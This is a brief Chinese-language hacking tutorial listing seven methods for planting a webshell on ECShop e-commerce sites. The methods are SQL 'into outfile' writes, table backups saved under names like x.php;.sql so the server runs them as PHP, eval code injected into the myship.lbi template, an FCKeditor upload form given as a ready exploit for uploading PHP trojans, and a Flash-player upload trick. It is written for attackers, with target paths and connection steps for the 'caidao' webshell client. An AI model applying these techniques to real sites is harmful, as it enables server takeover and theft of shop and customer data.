ecshop後台拿shell總結 ecshop拿shell
一、
系統==>資料庫管理==>sql查詢(可爆出實體路徑):
==============建立表失敗,導不出shell======================
show databases; use 資料庫名; create a(cmd text not null); insert into a(cmd) values(‘‘); select cmd from a into outfile ‘匯出路徑’; drop table if exists a;
==================建立表失敗,導不出shell===================
二、 前台留個言,內容是我們的一句話木馬: 接著在後台系統==>資料庫管理==>資料備份==>選擇自訂備份,選擇ecs_feedback這張表(存放留言的表)
備份檔案名:x.php;.sql (x.php.sql形式出錯,菜刀連結不成功)
然後菜刀連結成功
http://www.baiduahck.com/data/sqldata/x.php;.sql
三、
1、添加會員,會員名稱插入插入一句話 : ,其他隨便填寫。 2、系統==>資料庫管理==>資料備份—自訂備份—選“XXX_users” (其中XXX因各站而異,是資料首碼) 3、備份檔案名為mm.php;.sql 4、一句話用戶端串連mm.php;.sql,地址一般為 http://baiduhack.com/data/sqldata/mm.php;.sql
四、(
範本管理員==>庫專案管理==>選擇myship.lbi 配送方式。
在檔案內容最後面加入一句話代碼: 菜刀連結http://www.baiduhack.com/myship.php 成功。
說明:有些伺服器過濾了eval 導致失敗。
五、 /includes/fckeditor/editor/filemanager/connectors/php/upload.php /includes/fckeditor/editor/filemanager/connectors/php/connector.php /includes/fckeditor/editor/filemanager/connectors/test.html
http://url/includes/fckeditor/editor/filemanager/connectors/test.html
代碼省略 對Media 沒有任何限制. 直接 Type=Media 上傳 你的 解密webshell 訪問路徑為
如果不登入後台訪問的話是不能利用的,XXOO的。
EXP:
<form id="frmUpload" enctype="multipart/form-data" action="/includes/fckeditor/editor/filemanager/connectors/php/upload.php?Type=Media" method="post">Upload a new file:<br><input type="file" name="NewFile" size="50"><br><input id="btnUpload" type="submit" value="Upload"></form> |
直接上傳PHP馬
檔案地址是:
/images/upload/Media/xx.php
六、
上傳txt 並且沒有過濾任何函數. 於是運用到了php的檔案操作… 將以上代碼插入庫專案管理中的myship.ini 開啟http://url/myship.php 即在http://url/data/目錄下產生distant.php;a.txt 菜刀串連之…搞定..
七、 進入後台-系統設定-Flash播放器管理- 直接上傳x.php
ecshop V2.7.2 版本已經沒有這個選項 ,所以這個已經失效。